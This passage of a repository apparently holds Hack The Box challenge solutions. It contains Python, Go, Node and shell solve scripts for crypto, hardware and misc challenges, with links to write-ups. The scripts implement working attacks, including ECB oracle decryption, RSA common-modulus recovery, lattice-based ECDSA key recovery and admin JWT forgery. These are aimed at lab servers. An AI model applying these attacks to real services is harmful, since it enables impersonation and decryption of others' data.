30 | io := getProcess() 31 | defer io.Close() 32 | 33 | var flag []byte 34 | prog := pwn.Progress("Flag") 35 | 36 | for !bytes.ContainsRune(flag, '}') { 37 | prog.Status(string(flag)) 38 | h := sendHash(io, bytes.Repeat([]byte{'\x00'}, len(flag)+1)) 39 | 40 | for c := byte(0x20); c < 0x7f; c++ { 41 | s := sha256.Sum256(append(flag, c)) 42 | 43 | if pwn.Hex(s[:]) == h { 44 | flag = append(flag, c) 45 | break 46 | } 47 | } 48 | } 49 | 50 | prog.Success(string(flag)) 51 | } 52 | -------------------------------------------------------------------------------- /Challenges/Crypto/Signing Factory/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Signing Factory 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/signing-factory 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Space Pirates/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Space Pirates 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/space-pirates 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Space Pirates/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from hashlib import md5 4 | from random import randbytes, seed 5 | 6 | from Crypto.Cipher import AES 7 | from Crypto.Util.Padding import unpad 8 | 9 | 10 | def main(): 11 | with open('msg.enc') as f: 12 | share = eval(f.readline().split(': ')[1]) 13 | coefficient = eval(f.readline().split(': ')[1]) 14 | secret_message = bytes.fromhex(f.readline().split(': ')[1].strip()) 15 | 16 | p = 92434467187580489687 17 | k = 10 18 | n = 18 19 | 20 | coeffs = [0, coefficient] 21 | 22 | def next_coeff(val): 23 | return int(md5(val.to_bytes(32, byteorder='big')).hexdigest(), 16) 24 | 25 | def calc_coeffs(): 26 | for i in range(2, n + 1): 27 | coeffs.append(next_coeff(coeffs[i - 1])) 28 | 29 | def calc_y(x): 30 | y = 0 31 | 32 | for i, coeff in enumerate(coeffs): 33 | y += coeff * x ** i 34 | 35 | return y % p 36 | 37 | calc_coeffs() 38 | coeffs = coeffs[:k] 39 | 40 | secret = (share[1] - calc_y(share[0])) % p 41 | 42 | seed(secret) 43 | key = randbytes(16) 44 | cipher = AES.new(key, AES.MODE_ECB) 45 | flag = unpad(cipher.decrypt(secret_message), 16) 46 | print(flag.decode()) 47 | 48 | 49 | if __name__ == '__main__': 50 | main() 51 | -------------------------------------------------------------------------------- /Challenges/Crypto/The Three-Eyed Oracle/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. The Three-Eyed Oracle 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/the-three-eyed-oracle 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/The Three-Eyed Oracle/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import log, remote, string, sys 4 | 5 | 6 | def get_process(): 7 | host, port = sys.argv[1].split(':') 8 | return remote(host, int(port)) 9 | 10 | 11 | def main(): 12 | p = get_process() 13 | 14 | junk = b'B' * 4 15 | flag = '' 16 | flag_progress = log.progress('Flag') 17 | 18 | while '}' not in flag: 19 | for c in string.printable: 20 | payload = junk 21 | payload += (b'A' * 15 + flag.encode())[-15:] + c.encode() 22 | payload += b'A' * (15 - len(flag) % 16) 23 | 24 | p.sendlineafter(b'> ', payload.hex().encode()) 25 | ct = p.recvline().strip() 26 | 27 | b = len(flag) // 16 28 | 29 | if ct[32:64] == ct[32 * (b + 2): 32 * (b + 3)]: 30 | flag += c 31 | flag_progress.status(flag) 32 | break 33 | 34 | 35 | if __name__ == '__main__': 36 | main() 37 | -------------------------------------------------------------------------------- /Challenges/Crypto/Tsayaki/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Tsayaki 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/tsayaki 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Tsayaki/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import process, remote, sys, xor 4 | from random import choices 5 | from tea import Cipher as TEA 6 | 7 | 8 | def get_process(): 9 | if len(sys.argv) == 1: 10 | return process(['python3', 'server.py']) 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, port) 14 | 15 | 16 | io = get_process() 17 | io.recvuntil(b'Here is my special message: ') 18 | server_message = bytes.fromhex(io.recvline().decode()) 19 | 20 | key = b'asdf' * 4 21 | IV = b'\0' * 8 22 | 23 | io.sendlineafter(b'Enter your target ciphertext (in hex) : ', b'00' * 20) 24 | io.sendlineafter(b'Enter your encryption key (in hex) : ', key.hex().encode()) 25 | 26 | io.recvuntil(b'Hmm ... close enough, but ') 27 | ct = bytes.fromhex(io.recvuntil(b' ', drop=True).decode()) 28 | IV = xor(server_message[:8], TEA(key, IV).decrypt(ct)[:8]) 29 | io.close() 30 | 31 | io = get_process() 32 | rounds = io.progress('Round') 33 | io.recvuntil(b'Here is my special message: ') 34 | server_message = bytes.fromhex(io.recvline().decode()) 35 | 36 | for r in range(10): 37 | rounds.status(f'{r + 1} / 10') 38 | randoms = [''.join(choices('01', k=31)), ''.join(choices('01', k=31)), ''.join(choices('01', k=31)), ''.join(choices('01', k=31))] 39 | 40 | key = int('0' + '0'.join(randoms), 2).to_bytes(16, 'big') 41 | ct = TEA(key, IV).encrypt(server_message) 42 | io.sendlineafter(b'Enter your target ciphertext (in hex) : ', ct.hex().encode()) 43 | 44 | for a, b, c, d in [[0, 0, 0, 0], [0, 0, 1, 1], [1, 1, 0, 0], [1, 1, 1, 1]]: 45 | key = int(str(a) + randoms[0] + str(b) + randoms[1] + str(c) + randoms[2] + str(d) + randoms[3], 2).to_bytes(16, 'big') 46 | io.sendlineafter(b'Enter your encryption key (in hex) : ', key.hex().encode()) 47 | 48 | 49 | rounds.success('10 / 10') 50 | io.success(io.recvline().decode()) 51 | -------------------------------------------------------------------------------- /Challenges/Crypto/TurboCipher/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. TurboCipher 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/turbocipher 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Twin Oracles/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Twin Oracles 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/twin-oracles 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/TwoForOne/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. TwoForOne 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/twoforone 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/TwoForOne/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from base64 import b64decode 4 | from Crypto.PublicKey import RSA 5 | 6 | 7 | def extended_gcd(a, b): 8 | if a % b: 9 | u, v, d = extended_gcd(b, a % b) 10 | return v, (d - a * v) // b, d 11 | 12 | return 0, 1, b 13 | 14 | 15 | def main(): 16 | c1 = int(b64decode(open('message1').read()).hex(), 16) 17 | c2 = int(b64decode(open('message2').read()).hex(), 16) 18 | 19 | key1 = RSA.importKey(open('key1.pem').read()) 20 | key2 = RSA.importKey(open('key2.pem').read()) 21 | 22 | n = key1.n 23 | e1, e2 = key1.e, key2.e 24 | 25 | u, v, _ = extended_gcd(e1, e2) 26 | 27 | m = pow(c1, u, n) * pow(c2, v, n) % n 28 | 29 | print(bytes.fromhex(format(m, '0x')).decode()) 30 | 31 | 32 | if __name__ == '__main__': 33 | main() 34 | -------------------------------------------------------------------------------- /Challenges/Crypto/Verilicious/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Verilicious 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/verilicious 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Verilicious/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from ast import literal_eval 4 | 5 | from Crypto.PublicKey import RSA 6 | 7 | from sage.all import Matrix, QQ 8 | 9 | 10 | with open("pubkey.pem") as pk, open("output.txt") as o: 11 | key = RSA.import_key(pk.read()) 12 | R = literal_eval(o.read().split('R = ')[1]) 13 | 14 | n = key.n 15 | 16 | k = -(-n.bit_length() // 8) 17 | B = 2 ** (8 * (k - 2)) 18 | 19 | W = 3 * B - 1 20 | H = 2 * B + B // 2 21 | 22 | a = [H] * len(R) 23 | t = list(sorted(R)) 24 | 25 | M = Matrix(QQ, [ 26 | *[ 27 | [0] * i + [n] + [0] * (len(R) - i + 1) for i in range(len(R)) 28 | ], 29 | t + [W / n, 0], 30 | a + [0, W], 31 | ]) 32 | 33 | L = M.LLL() 34 | row = L[-1] 35 | assert abs(row[-1]) == W 36 | 37 | for i in range(len(R) - 1): 38 | m = int(abs(row[i]) + a[i]) * pow(R[i], -1, n) % n 39 | M = m.to_bytes(128, 'big') 40 | 41 | if M.startswith(b'\0\x02') and b'HTB' in M: 42 | print(M.split(b'\0')[-1].decode()) 43 | break 44 | -------------------------------------------------------------------------------- /Challenges/Crypto/Waiting List/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Waiting List 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/waiting-list 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Waiting List/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import json 4 | 5 | from hashlib import sha1 6 | from pwn import remote, sys 7 | from sage.all import Matrix, QQ 8 | 9 | from Crypto.Util.number import bytes_to_long 10 | 11 | host, port = sys.argv[1].split(':') 12 | 13 | n = 115792089210356248762697446949407573529996955224135760342422259061068512044369 14 | g = 5 15 | pt = b'william;yarmouth;22-11-2021;09:00' 16 | 17 | hs, rs, ss, ks_lsb = [], [], [], [] 18 | 19 | with open('signatures.txt') as f: 20 | f.readline() 21 | while (line := f.readline()): 22 | values = line.split(';') 23 | hs.append(int(values[0], 16)) 24 | rs.append(int(values[1], 16)) 25 | ss.append(int(values[2], 16)) 26 | ks_lsb.append(int(values[3], 2)) 27 | 28 | p = n 29 | 30 | a_i = list( 31 | map( 32 | lambda s, h, k_lsb: pow(2, -7, p) * (pow(s, -1, p) * h - k_lsb) % p, 33 | ss, hs, ks_lsb 34 | ) 35 | ) 36 | 37 | t_i = list( 38 | map( 39 | lambda r, s: pow(2, -7, p) * pow(s, -1, p) * r % p, 40 | rs, ss 41 | ) 42 | ) 43 | 44 | X = 2 ** (n.bit_length() - 7) 45 | 46 | raw_matrix = [] 47 | 48 | for i in range(len(a_i)): 49 | raw_matrix.append([0] * i + [p] + [0] * (len(a_i) - i + 1)) 50 | 51 | raw_matrix.append(t_i + [X / p, 0]) 52 | raw_matrix.append(a_i + [0, X]) 53 | 54 | M = Matrix(QQ, raw_matrix) 55 | L = M.LLL() 56 | 57 | for row in L.rows(): 58 | k = int(row[0] * 2 ** 7 + ks_lsb[0]) 59 | 60 | if rs[0] == pow(g, k, n) and row[-1] == X: 61 | key = (ss[0] * k - hs[0]) * pow(rs[0], -1, n) % n 62 | h = sha1(pt).digest() 63 | h = bytes_to_long(h) 64 | h = bin(h)[2:] 65 | h = int(h[:len(bin(n)[2:])], 2) 66 | r = pow(g, k, n) 67 | s = (pow(k, -1, n) * (h + key * r)) % n 68 | 69 | io = remote(host, port) 70 | io.sendlineafter(b'> ', json.dumps({'pt': pt.decode(), 'r': hex(r), 's': hex(s)}).encode()) 71 | io.success(io.recv().decode()) 72 | -------------------------------------------------------------------------------- /Challenges/Crypto/Zombie Rolled/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Zombie Rolled 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/zombie-rolled 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Zombie Rolled/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sage 2 | 3 | from ast import literal_eval 4 | from hashlib import sha256 5 | 6 | from sage.all import * 7 | 8 | 9 | with open('output.txt') as fp: 10 | pub = literal_eval(fp.readline().split(' = ')[1]) 11 | mix = literal_eval(fp.readline().split(' = ')[1]) 12 | 13 | P, Q, R = map(ZZ, pub) 14 | f = (P + Q) / (Q + R) + (Q + R) / (R + P) + (R + P) / (P + Q) 15 | 16 | x, y, z = PolynomialRing(QQ, 'x, y, z').gens() 17 | eq = (x + y) / (y + z) + (y + z) / (z + x) + (z + x) / (x + y) - f 18 | 19 | F = EllipticCurve_from_cubic(eq.numerator(), [1, -1, -1]) 20 | Fi = F.inverse() 21 | 22 | G = F((P, Q, R)) 23 | X = G.division_points(2)[0] 24 | a, b, c = Fi(X) 25 | 26 | cd = lcm(lcm(a.denominator(), b.denominator()), c.denominator()) 27 | p, q, r = ZZ(a * cd), ZZ(b * cd), ZZ(c * cd) 28 | 29 | assert is_prime(p) and int(p).bit_length() <= 1024 30 | assert is_prime(q) and int(q).bit_length() <= 1024 31 | assert is_prime(r) and int(r).bit_length() <= 1024 32 | 33 | n = p * q * r 34 | nb = (n.bit_length() + 7) // 8 35 | N = f.numerator() 36 | 37 | d = pow(N, -1, (p - 1) * (q - 1) * (r - 1)) 38 | sp = pow(mix[0], d, n) 39 | sm = pow(mix[1], d, n) 40 | 41 | s1 = (sp + sm) * pow(2, -1, n) % n 42 | s2 = (sp - sm) * pow(2, -1, n) % n 43 | 44 | R = pow(s1, N, n) 45 | c = pow(s2, N, n) 46 | assert c.bit_length() <= nb 47 | 48 | A, B = Matrix(ZZ, [[R, n], [1, 0]]).transpose().LLL()[0] 49 | assert R == A * pow(B, -1, n) % n 50 | 51 | g = 0 52 | m, h = PolynomialRing(QQ, 'm, h').gens() 53 | 54 | while True: 55 | g += 1 56 | 57 | I = Ideal([ 58 | (m + h) ** 2 * (c + m) + (h + c) ** 2 * (m + h) + (c + m) ** 2 * (h + c) - g * A, 59 | (m + h) * (c + m) * (h + c) - g * B, 60 | ]) 61 | 62 | for sol in I.variety(): 63 | m = int(sol.get(m)) 64 | h = int(sol.get(h)) 65 | assert int(sha256(m.to_bytes(nb, 'big')).hexdigest(), 16) == h 66 | print(bytes.fromhex(hex(m)[2:]).decode()) 67 | exit() 68 | -------------------------------------------------------------------------------- /Challenges/Crypto/baby quick maffs/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. baby quick maffs 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/baby-quick-maffs 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/baby quick maffs/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | def main(): 4 | with open('output.txt') as f: 5 | N = int(f.readline()) 6 | remainder = int(f.readline()) 7 | a, b, c = eval(f.readline()) 8 | 9 | m1 = pow(2 * remainder, -1, N) * (c - a - remainder ** 2) % N 10 | m = m1 + m1 + remainder 11 | 12 | print(bytes.fromhex(hex(m)[2:]).decode()) 13 | 14 | 15 | if __name__ == '__main__': 16 | main() 17 | -------------------------------------------------------------------------------- /Challenges/Crypto/hybrid unifier/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. hybrid unifier 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/hybrid-unifier 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/hybrid unifier/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import requests 5 | import sys 6 | 7 | from base64 import b64encode as b64e, b64decode as b64d 8 | from hashlib import sha256 9 | from secrets import randbelow 10 | 11 | from Crypto.Cipher import AES 12 | from Crypto.Util.Padding import pad, unpad 13 | 14 | 15 | URL = '127.0.0.1:1337' if len(sys.argv) == 1 else sys.argv[1] 16 | 17 | # Step 1 18 | r = requests.post(f'http://{URL}/api/request-session-parameters') 19 | 20 | g = int(r.json().get('g'), 16) 21 | p = int(r.json().get('p'), 16) 22 | 23 | # Step 2 24 | b = randbelow(p) 25 | client_public_key = pow(g, b, p) 26 | 27 | r = requests.post(f'http://{URL}/api/init-session', json={ 28 | 'client_public_key': client_public_key 29 | }) 30 | 31 | server_public_key = int(r.json().get('server_public_key'), 16) 32 | 33 | key = pow(server_public_key, b, p) 34 | session_key = sha256(str(key).encode()).digest() 35 | 36 | # Step 3 37 | r = requests.post(f'http://{URL}/api/request-challenge') 38 | 39 | encrypted_challenge = b64d(r.json().get('encrypted_challenge')) 40 | iv, ct = encrypted_challenge[:16], encrypted_challenge[16:] 41 | 42 | cipher = AES.new(session_key, AES.MODE_CBC, iv) 43 | challenge = unpad(cipher.decrypt(ct), 16) 44 | 45 | # Step 4 46 | iv = os.urandom(16) 47 | cipher = AES.new(session_key, AES.MODE_CBC, iv) 48 | packet_data = b64e(iv + cipher.encrypt(pad(b'flag', 16))).decode() 49 | 50 | r = requests.post(f'http://{URL}/api/dashboard', json={ 51 | 'challenge': sha256(challenge).hexdigest(), 52 | 'packet_data': packet_data 53 | }) 54 | 55 | packet_data = b64d(r.json().get('packet_data')) 56 | 57 | iv, ct = packet_data[:16], packet_data[16:] 58 | cipher = AES.new(session_key, AES.MODE_CBC, iv) 59 | flag = unpad(cipher.decrypt(ct), 16).decode() 60 | print(flag) 61 | -------------------------------------------------------------------------------- /Challenges/Crypto/secure source/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. secure source 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/secure-source 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/secure source/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import random 5 | import requests 6 | import sys 7 | 8 | from base64 import b64decode, b64encode 9 | from hashlib import sha256 10 | from string import printable 11 | 12 | from fastecdsa.curve import brainpoolP256r1 13 | 14 | 15 | URL = 'http://127.0.0.1:1337' if len(sys.argv) == 1 else 'http://' + sys.argv[1] 16 | 17 | username = password = os.urandom(8).hex() 18 | requests.post(f'{URL}/register', data={'username': username, 'password': password, 'email': 'x'}) 19 | 20 | s = requests.session() 21 | s.post(f'{URL}/login', data={'username': username, 'password': password}) 22 | 23 | for _ in range(624): 24 | s.post(f'{URL}/create-note', data={'title': 'A', 'description': 'B'}) 25 | 26 | res = s.post(f'{URL}/view-notes') 27 | notes = res.json().get('notes', []) 28 | state = tuple(n.get('id', 0) for n in notes) 29 | random.setstate((3, state + (624, ), None)) 30 | 31 | token = s.cookies.get('token') 32 | assert isinstance(token, str) 33 | 34 | signature = b64decode(token.split('.')[-1]) 35 | r, s = int(signature[:32].hex(), 16), int(signature[32:].hex(), 16) 36 | 37 | q, G = brainpoolP256r1.q, brainpoolP256r1.G 38 | 39 | h = int(sha256('.'.join(token.split('.')[:-1]).encode()).hexdigest(), 16) 40 | k = int(''.join(random.choices(printable, k=32)).encode().hex(), 16) 41 | assert r == (G * k).x 42 | x = (s * k - h) * pow(r, -1, q) % q 43 | 44 | admin_data = b'.'.join(map(b64encode, [b'{"alg":"EC256","typ":"JWT"}', b'{"username":"HTBAdmin1337_ZUSD3uQG4I"}'])) 45 | 46 | h = int(sha256(admin_data).hexdigest(), 16) 47 | k = 1337 48 | r = (G * k).x 49 | s = pow(k, -1, q) * (h + x * r) % q 50 | 51 | admin_token = admin_data + b'.' + b64encode(r.to_bytes(32, 'big') + s.to_bytes(32, 'big')) 52 | Q = G * x 53 | 54 | res = requests.get(f'{URL}/dashboard', cookies={'token': admin_token.decode(), 'pubkey': f'{Q.x},{Q.y}'}).text 55 | print(res[res.index('HTB{'):res.index('}') + 1]) 56 | -------------------------------------------------------------------------------- /Challenges/Crypto/signup/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. signup 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/signup 4 | -------------------------------------------------------------------------------- /Challenges/Forensics/Deadly Arthropod/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Forensics. Deadly Arthropod 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/forensics/deadly-arthropod 4 | -------------------------------------------------------------------------------- /Challenges/Forensics/Halloween Invitation/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Forensics. Halloween Invitation 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/forensics/halloween-invitation 4 | -------------------------------------------------------------------------------- /Challenges/Hardware/HM74/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Hardware. HM74 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/hardware/hm74 4 | -------------------------------------------------------------------------------- /Challenges/Hardware/HM74/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from collections import Counter 4 | from pwn import log, remote, sys 5 | 6 | 7 | truth_table = { 8 | '0000000': '0000', 9 | '1101001': '0001', 10 | '0101010': '0010', 11 | '1000011': '0011', 12 | '1001100': '0100', 13 | '0100101': '0101', 14 | '1100110': '0110', 15 | '0001111': '0111', 16 | '1110000': '1000', 17 | '0011001': '1001', 18 | '1011010': '1010', 19 | '0110011': '1011', 20 | '0111100': '1100', 21 | '1010101': '1101', 22 | '0010110': '1110', 23 | '1111111': '1111', 24 | } 25 | 26 | host, port = sys.argv[1].split(':') 27 | io = remote(host, port) 28 | 29 | 30 | def get_chunks(): 31 | io.recvuntil(b'Captured: ') 32 | data = io.recvline().strip().decode() 33 | return [data[i : i + 7] for i in range(0, len(data), 7)] 34 | 35 | 36 | flag = '' 37 | binary_flag = '' 38 | 39 | io.info('Collecting samples...') 40 | samples = [get_chunks() for _ in range(50)] 41 | 42 | prog = log.progress('Flag') 43 | 44 | while '}' not in flag: 45 | characters = Counter() 46 | 47 | for chunks in samples: 48 | chunk = chunks[len(binary_flag) // 4] 49 | 50 | if chunk in truth_table: 51 | characters[truth_table.get(chunk)] += 1 52 | 53 | if len(characters): 54 | binary_flag += characters.most_common()[0][0] 55 | else: 56 | io.info('Collecting more samples...') 57 | samples = [get_chunks() for _ in range(50)] 58 | 59 | if len(binary_flag) % 8 == 0: 60 | flag = bytes.fromhex(hex(int(binary_flag, 2))[2:]).decode() 61 | prog.status(flag) 62 | 63 | prog.success(flag) 64 | -------------------------------------------------------------------------------- /Challenges/Hardware/VHDLock/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Hardware. VHDLock 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/hardware/vhdlock 4 | -------------------------------------------------------------------------------- /Challenges/Hardware/VHDLock/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from math import log2 4 | 5 | with open('out.txt') as f: 6 | out = [tuple(map(int, line.split())) for line in f.read().splitlines()] 7 | 8 | xor_key = out[0][0] ^ (1 << 4) 9 | flag = '' 10 | 11 | for o1, o2 in out: 12 | flag += chr((int(log2(o1 ^ xor_key)) << 4) | int(log2(o2 ^ xor_key))) 13 | 14 | print('Test:', flag) 15 | 16 | flag = '' 17 | 18 | for o1, o2 in out: 19 | xor = o1 ^ o2 20 | 21 | if xor: 22 | i1 = f'{xor:016b}'[::-1].index('1') 23 | i2 = 15 - f'{xor:016b}'.index('1') 24 | 25 | option1, option2 = (i1 << 4) | i2, (i2 << 4) | i1 26 | 27 | if not (0x20 <= option2 < 0x7f): 28 | flag += chr(option1) 29 | elif not (0x20 <= option1 < 0x7f): 30 | flag += chr(option2) 31 | else: 32 | flag += f' [{chr(option1)}{chr(option2)}] ' 33 | else: 34 | flag += ' [\x33\x44\x55\x66\x77] ' 35 | 36 | print('\nPossible:', flag) 37 | -------------------------------------------------------------------------------- /Challenges/Misc/A Nightmare On Math Street/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. A Nightmare on Math Street 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/a-nightmare-on-math-street 4 | -------------------------------------------------------------------------------- /Challenges/Misc/Branching Tactics/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. Branching Tactics 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/branching-tactics 4 | -------------------------------------------------------------------------------- /Challenges/Misc/Computational Recruiting/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. Computational Recruiting 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/computational-recruiting 4 | -------------------------------------------------------------------------------- /Challenges/Misc/Deterministic/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. Deterministic 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/deterministic 4 | -------------------------------------------------------------------------------- /Challenges/Misc/Deterministic/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import re, xor 4 | 5 | 6 | def main(): 7 | with open('deterministic.txt') as f: 8 | unique_lines = sorted(set(f.read().splitlines())) 9 | 10 | states = {} 11 | 12 | for line in unique_lines: 13 | if re.match(r'\d+ \d+ \d+', line): 14 | state, value, next_state = map(int, line.split()) 15 | states[state] = (value, next_state) 16 | 17 | values = [] 18 | 19 | initial_state, final_state = 69420, 999 20 | current_state = initial_state 21 | 22 | while current_state != final_state: 23 | value, next_state = states[current_state] 24 | values.append(value) 25 | current_state = next_state 26 | 27 | for n in range(256): 28 | result = xor(bytes(values), bytes([n])) 29 | 30 | if b'HTB' in result: 31 | print(result.decode()) 32 | break 33 | 34 | 35 | if __name__ == '__main__': 36 | main() 37 | -------------------------------------------------------------------------------- /Challenges/Misc/Emdee five for life/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. Emdee five for life 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/emdee-five-for-life 4 | -------------------------------------------------------------------------------- /Challenges/Misc/Emdee five for life/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import hashlib 4 | import re 5 | import requests 6 | import sys 7 | 8 | 9 | def main(): 10 | if len(sys.argv) == 1: 11 | print('Usage: python3', sys.argv[0], '') 12 | exit(1) 13 | 14 | url = f'http://{sys.argv[1]}' 15 | s = requests.session() 16 | 17 | r = s.get(url) 18 | 19 | md5 = hashlib.md5(r.content[167:187]).hexdigest() 20 | r = s.post(url, data={'hash': md5}) 21 | 22 | print(re.findall(r'HTB\{.*?\}', r.text)[0]) 23 | 24 | 25 | if __name__ == '__main__': 26 | main() 27 | -------------------------------------------------------------------------------- /Challenges/Misc/Emdee five for life/solve.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | host=$1 4 | 5 | if [ -z "$host" ]; then 6 | echo "bash $0 " 7 | exit 1 8 | fi 9 | 10 | res=$(curl -si $host) 11 | cookie=$(grep -oE 'Cookie: .*?;' <<< $res | tr -d ';') 12 | 13 | string=$(grep -oE "

.*?

" <<< $res) 14 | md5=$(echo -n ${string:19:20} | md5sum | awk '{ print $1 }') 15 | 16 | curl -H "$cookie" -sd hash=$md5 $host | grep -oE 'HTB{.*?}' 17 | -------------------------------------------------------------------------------- /Challenges/Misc/Eternal Loop/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. Eternal Loop 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/eternal-loop 4 | -------------------------------------------------------------------------------- /Challenges/Misc/ExploitedStream/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. ExploitedStream 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/exploitedstream 4 | -------------------------------------------------------------------------------- /Challenges/Misc/ExploitedStream/solve.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | const crypto = require('crypto') 4 | const { load } = require('all-package-names') 5 | 6 | const for_future_me = 'cGFzc3dvcmRfaXNfdGhlX25hbWVfb2Zfb25lX25wbV9wYWNrYWdl' // password_is_the_name_of_one_npm_package 7 | 8 | let encryptedData = '83729c4575f56a8287c0b4e8ee5c33f8cb891ccaddcafb71ef5f7bd067f19d854ab16e0cb22460' 9 | 10 | try { 11 | function decrypt(password) { 12 | const decipher = crypto.createDecipher('aes-256-ctr', password) 13 | return decipher.update(encryptedData, 'hex', 'utf8') + decipher.final('utf8') 14 | } 15 | 16 | load().then(({ packageNames }) => { 17 | const packageName = packageNames.find(name => decrypt(name).includes('HTB{')) 18 | console.log(packageName, decrypt(packageName)) 19 | }) 20 | } catch (error) {} 21 | 22 | -------------------------------------------------------------------------------- /Challenges/Misc/Fentastic Moves/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Misc. Fentastic Moves 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/misc/fentastic-moves 4 | -------------------------------------------------------------------------------- /Challenges/Misc/Fentastic Moves/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import process, remote, sys 4 | 5 | 6 | pieces = { 7 | u'\u2654': 'K', 8 | u'\u2655': 'Q', 9 | u'\u2656': 'R', 10 | u'\u2657': 'B', 11 | u'\u2658': 'N', 12 | u'\u2659': 'P', 13 | u'\u265A': 'k', 14 | u'\u265B': 'q', 15 | u'\u265C': 